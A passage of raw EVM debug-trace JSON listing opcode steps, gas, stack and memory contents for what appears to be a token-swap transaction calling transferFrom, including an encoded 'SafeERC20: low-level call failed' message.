b1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11979,"op":"DUP2","gas":79112,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11980,"op":"LT","gas":79109,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11981,"op":"PUSH2","gas":79106,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11984,"op":"JUMPI","gas":79103,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1","0x1","0x2ed8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11992,"op":"JUMPDEST","gas":79093,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11993,"op":"PUSH1","gas":79092,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11995,"op":"MUL","gas":79089,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11996,"op":"PUSH1","gas":79084,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11998,"op":"ADD","gas":79081,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11999,"op":"ADD","gas":79078,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12000,"op":"MLOAD","gas":79075,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x364"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12001,"op":"SWAP2","gas":79072,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12002,"op":"POP","gas":79069,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12003,"op":"SWAP2","gas":79067,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x